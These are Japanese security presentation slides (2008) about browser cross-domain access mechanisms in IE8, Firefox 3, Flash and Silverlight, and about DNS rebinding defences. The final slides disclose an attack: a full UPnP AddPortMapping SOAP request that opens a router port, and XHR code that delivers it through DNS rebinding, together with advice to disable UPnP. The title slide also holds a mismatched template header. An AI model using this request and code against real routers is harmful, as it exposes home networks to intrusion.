<TITLE OF PRESENTATION> ウェブアプリケーションセキュリティ最新動向 金床 | 株式会社ビットフォレスト | 2008年4月24日 | C6-4 SEPT 12, 2007 PRESENTED BY <NAME> | HACKER GROUP
自己紹介 金床(Kanatoko) ■JUMPERZ 自己紹介 金床(Kanatoko) ■JUMPERZ.NETにてオープンソースのセキュリティ関連ツールを公開 ■本名 佐藤匡 ■役職 株式会社ビットフォレスト取締役CTO ■主な業務 ・セキュアなウェブアプリケーションの開発 ・各種セキュリティ関連ソフトウェアの開発 ■Javaプログラマ ■著書「ウェブアプリケーションセキュリティ」発売中
新たなテクノロジーが次々に登場 ■Internet Explorer 8 (現在Beta版) ■Mozilla Firefox 3 (現在Beta版) ■Flash Player 9.0 / ActionScript 3.0 ■Silverlight 2 (現在Beta版) これら全てにおいてクロスドメインのアクセス機能が 提供されている
クロスドメインアクセス ■www.hoge.trd上のJavaScriptコードがwww.fuga.trdの内容に アクセスすること(内容を読むこと) ■ウェブブラウザで同時に複数のウェブサイトを訪れている場合、 ログイン中のアプリケーションAの中身を悪意あるサイトBから 読みとられてしまうとマズイので禁止されるべき ■www.hoge.trd上に<script src=“http://www.fuga.trd/gyoe.js”> がある場合、gyoe.jsはww.hoge.trd上で動作する。 この従来の仕様を「抜け道」として使うJSONPのクロスドメインアクセスが開発者の間で常識となる ■JSONPがある以上、禁止するのではなく、セキュリティ上の問題が起こらない形でクロスドメインアクセスを許可しよう、という方向に
Internet Explorer 8 Beta JavaScriptでのクロスドメインアクセスを可能にする XDomainRequestが登場 http://msdn2.microsoft.com/en-us/library/cc288060(VS.85).aspx
XDomainRequest コードの例 <script> var req = new XDomainRequest(); req.onload = xdrLoad; req.open( 'POST', 'http://www.jumperz.net/foo.jsp' ); req.contentType = 'application/x-www-form-urlencoded'; req.send( 'Hello XDR!' ); function xdrLoad() { alert( req.responseText ); } </script>
XDomainRequestが送信するHTTPリクエスト POST /foo.jsp HTTP/1.0 ←メソッドはGET/POSTのみ Accept: */* XDomainRequest: 1 ←自動的に付加される Referer: http://www.jumperz.net/ Content-Type: foobar ←唯一変更できるフィールド UA-CPU: x86 Pragma: no-cache User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1) Host: www.jumperz.net Content-Length: 10 Connection: Keep-Alive Hello XDR! ←自由な形式のデータ(ただしString)が送信可能
XDomainRequest: 1 ■IE8によって自動的に付加される ■ウェブアプリケーション側(サーバー側)で 「XDRのリクエストかどうか」を判定するために使うことができる ■クロスドメインでのデータ提供をまったく考えていないサーバーでは、 WAFなどでこのフィールドをシグネチャにすることで(他サイトの)XSS や罠ページでXDRが利用された場合の攻撃を検知できる
Content-Type ■XDRではスクリプトから操作できる唯一のリクエストヘッダフィールド ■普通は ”application/x-www-form-urlencoded” などを指定する
XDomainRequestでアクセス可能なHTTPレスポンス HTTP/1.1 200 OK Date: Wed, 02 Apr 2008 07:19:39 GMT Content-Type: text/html;charset=ISO-8859-1 XDomainRequestAllowed: 1 Set-Cookie: JSESSIONID=BCAB4EC4125D;Path=/ Server: Guardian@JUMPERZ.NET Proxy-Connection: close foo ■”XDomainRequestAllowed: 1”の行がある場合のみ、レスポンスの内容を スクリプトから読むことができる ■サーバー側が明示的に許可するということ ■同一ドメインへのアクセスでもこの行が必要
XDomainRequestとXMLHttpRequest(XHR) ■XDRではドメインが異なる場合でもリクエストは送信される(XHRでは送信 されずにエラーになる) ■XDRはXHRに比べ制限が厳しい(メソッドがGET/POSTのみに限定、 ヘッダフィールドがContent-Typeに限定) ■XDRではopen()の引数が2つだけ ■XDRはXHRとは異なりレスポンスヘッダの内容にはアクセスできない
その他XDomainRequestについて ■自由度が低い分、安全性は高い ■特にヘッダにアクセスできない点がよい ■シンプルでとても使いやすい
XMLHttpRequestでクロスドメインアクセスが可能に Mozilla Firefox 3 Beta 4 XMLHttpRequestでクロスドメインアクセスが可能に http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest http://www.w3.org/TR/access-control/
Firefox3のXHRでクロスドメインアクセス ■基本的には従来と同じコードでクロスドメインアクセスできる ■クロスドメインアクセスの場合ヘッダフィールドにアクセスできない ・setRequestHeader()を呼び出すとエラー ・getAllResponseHeaders() はnullを返す ■GETとそれ以外のメソッドの場合で動作が大きく異なる
Firefox3のXHRでアクセス可能なHTTPレスポンス HTTP/1.1 200 OK Date: Wed, 02 Apr 2008 14:55:32 GMT Server: Guardian@JUMPERZ.NET Content-Type: text/html;charset=ISO-8859-1 Access-Control: allow <*.jumperz.net> Keep-Alive: timeout=15, max=99 Content-Length: 3 foo ■基本的にはIE8などと同様にレスポンスヘッダでアクセスを許可する ■ドメインの指定などが可能 ■サーバー側が明示的に許可するということ
GETの場合に飛ぶHTTPリクエスト GET / HTTP/1.1 Host: www3.jumperz.net User-Agent: Mozilla/5.0 (略)Gecko/2008030714 Firefox/3.0b4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Referer: http://www.jumperz.net/test.jsp Access-Control-Origin: http://www.jumperz.net Cookie: JSESSIONID=3FB0838314CA8AE3571ADC2A7759BE8D Connection: keep-alive ■Access-Control-Originフィールドは自動的に付加される ■サーバー側で送信元のサイトを把握することが可能
GET以外のメソッドで先に飛ぶリクエスト OPTIONS / HTTP/1.1 ←必ずOPTIONS Host: www3.jumperz.net User-Agent: Mozilla/5.0(略) Gecko/2008030714 Firefox/3.0b4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Access-Control-Origin: http://www.jumperz.net Cookie: JSESSIONID=3FB0838314CA8AE3571ADC2A7759BE8D Connection: keep-alive ■ method-check-requestと呼ばれる ■レスポンスヘッダにAccess-Control: allowなどを入れることで 続けて本来のHTTPリクエストが送信される
かなり柔軟なアクセスコントロールが可能 http://www.w3.org/TR/access-control/より Table of Contents * 1. Introduction * 2. Conformance Criteria o 2.1 Terminology * 3. Security Considerations * 4. Syntax o 4.1 Access Item o 4.2 Access-Control HTTP Response Header o 4.3 <?access-control?> Processing Instruction o 4.4 Access-Control-Max-Age HTTP Response Header o 4.5 Access-Control-Policy-Path HTTP Response Header o 4.6 Access-Control-Origin HTTP Request Header * 5. Processing Model o 5.1 Cross-site Access Request + 5.1.1 Cross-site GET Access Request + 5.1.2 Cross-site Non-GET Access Request + 5.1.3 Generic Cross-site Access Request Algorithms o 5.2 Access Control Check + 5.2.1 Access Control Check Algorithm + 5.2.2 Shared Algorithm o 5.3 Access Item Check * Requirements * Use Cases * Design Decision FAQ * References * Acknowledgments
その他Firefox3のXHRについて ■W3Cの規格に沿う形で実装されている ■OPTIONSが自動的に飛ぶあたりがわかりにくい ■柔軟性は高いが使うのは少し面倒かも ■ヘッダフィールドへのアクセスは禁じられていることなどは セキュリティ的にはいいかんじ
Flash Player 9 ■以前からcrossdomain.xmlを利用したポリシーのロードに よりクロスドメインアクセスが可能だった (XDR、XHRよりも先進的だった) ■リクエストヘッダフィールドにもアクセスが可能だったため、 セキュリティ上の問題が存在した (例:UPnP、ApacheのXSS、Referer偽装によるCSRF)
リクエストヘッダフィールドを操作するコードの例 var url:String = "http://www.example.com/"; var request:URLRequest = new URLRequest( url ); var vars:URLVariables = new URLVariables(); vars.data = "foobar"; request.method = "POST"; request.requestHeaders.push( new URLRequestHeader( "Foo", "bar" ) ); request.data = vars; navigateToURL( request, "_self" );
Flash Player 9.0.115.0あるいは次期リリースでの変更点 ■操作可能なリクエストヘッダをポリシーファイルで明示する crossdomain.xmlの例: <?xml version="1.0"?> <!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd"> <cross-domain-policy> <allow-http-request-headers-from domain="www.example.com" headers="MyHeader"/> </cross-domain-policy>
Flash Player 9のSocketについて ■独自のプロトコルによるポリシーローディング ■crossdomain.xml(HTTP)とは別の方法 ■新しいバージョンではDNS Rebinding対策が行われた ■接続先ホスト名を名前解決し、IPアドレスが変更されている 場合には自動的にポリシーローディングが行われる ■843番ポートをデフォルトとして使用
その他Flash Player 9最新版について ■手元のテストでは一部うまく動作せず (リクエストヘッダフィールドが従来と同じように操作できてしまう) ■最新版のFlash Playerではその他にも多数のセキュリティ関連の 仕様変更が行われている ■元々複雑だったが、さらにややこしくなった。ドキュメントがやや冗長 ■Adobeがセキュリティについて真剣に取り組んでいることは伝わってくる ■関連URL http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html http://www.adobe.com/devnet/flashplayer/articles/fplayer9_security.html http://kb.adobe.com/selfservice/viewContent.do?externalId=kb403185&sliceId=2
Silverlight 2 Beta (HTTPのクロスドメインアクセスについて) ■Flashと同様にファイルによってポリシーロードを行う ■まず/clientaccesspolicy.xmlを探し、404の場合は/crossdomain.xmlを探す <?xml version="1.0" encoding="utf-8"?> <access-policy> <cross-domain-access> <policy> <allow-from> <domain uri="*"/> </allow-from> <grant-to> <resource path="/" include-subpaths="true"/> </grant-to> </policy> </cross-domain-access> </access-policy>
Silverlight 2 Beta (Socketについて) ■ファイルが置かれているサーバーにのみ接続可能 ■4502番~4532番にのみ接続可能 ■DNS Rebinding対策がはじめからされている(GJ) ■接続先IPアドレスを逆引きしてホスト名と一致することを確認
各テクノロジーのHTTPクロスドメインアクセスについて ■IE8のXDR XDomainRequestAllowed: 1 ■FF3のXHR Access-Control: allow <*.jumperz.net> ■Flash crossdomain.xml ■Silverlight clientaccesspolicy.xml Silverlightがcrossdomain.xmlも使える点以外は ほぼ完全にバラバラ
DNS Rebinding 最新情報 ■JavaVMで対策が行われた(1.6.0_03) Socket socket = new Socket( "www.jumperz.net", 110 ); www.jumperz.netが218.45.25.5に解決される場合 さらに www.jumperz.net.auth.5.25.45.218.in-addr.arpa が218.45.25.5に名前解決される必要がある ■スタンフォードの論文を参考にしたと思われる ■逆引き設定が必要なので敷居が高い ■参考URL: http://sunsolve.sun.com/search/document.do?assetkey=1-26-103078-1
DNS Rebinding 最新情報 続き ■FlashのSocketも対策が行われた(説明済) ■Silverlight 2 BetaのSocketも対策されている(説明済) Java / Flash / Silverlight の3つで見事に対策がバラバラ
DNS RebindingとUPnPの問題について ルーターに穴を開けてしまう攻撃手法が報告される http://www.gnucitizen.org/blog/hacking-the-interwebs/ ■クロスドメインでPOSTリクエストを飛ばす攻撃 ↑のpdpのPoCではFlashが使われている ■そもそもUPnPは無効にしておくべき (過去に山田オルタナティブなどが悪用した例あり)
ルーターに穴をあけるHTTPリクエスト SOAPActionヘッダフィールドを追加するところがポイント POST /upnp/control/WANPPPConn1 HTTP/1.1 Host: 192.168.2.1:2869 Content-Type: application/xml Content-Length: 1242 SOAPAction: urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping Connection: keep-alive <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV=“http://schemas.xmlsoap.org/soap/envelope/” (都合により改行してます) SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></NewRemoteHost> <NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">1337</NewExternalPort> <NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">TCP</NewProtocol> <NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">31337</NewInternalPort> <NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">192.168.2.3</NewInternalClient> <NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">1</NewEnabled> <NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">EVILFORWARDRULE2 </NewPortMappingDescription> <NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui4">0</NewLeaseDuration> </m:AddPortMapping> </SOAP-ENV:Body> </SOAP-ENV:Envelope> SOAPActionヘッダフィールドを追加するところがポイント
ブラウザ経由でのUPnP攻撃の危険性 ■ルーターによってUPnPを受け付けているポートやURLが異なる ■本来ならUDPによってこれらの情報を解決するが、ブラウザ上の悪意ある コードはこのプロセスは行うことができず、推測/ブルートフォースを行う ■そもそもまずルーターのIPアドレスを調べる必要がある ■IPアドレスは192.168.1.1を代表に軽くブルートフォース、ルーターが発見 されたら画像ファイルなどの存在で機種特定などを行えば現実味のある攻撃 になる(?) ■我が家の2つのルーターでは2869番及び5432番ポートが使われていた (5432はPostgreSQLでは…)
DNS Rebinding on JavaScriptとUPnP攻撃の組み合わせが可能 ■IE6、FF2、FF3、Opera9.26で動作確認 おそらくIE7/IE8も攻撃可 ■XHRでSOAPActionヘッダフィールドを追加する コードの例: request1.open( 'POST', 'http://<%= id %>.jumperz.net:2869/upnp/control/WANPPPConn1',false ); request1.setRequestHeader( 'SOAPAction', 'urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping' ); request1.send( upnpStr ); ■HTTPだけでなくTCP/UDPレベルでイントラネットに侵入される ■UPnPを無効にすることを強く推奨
最後のスライドです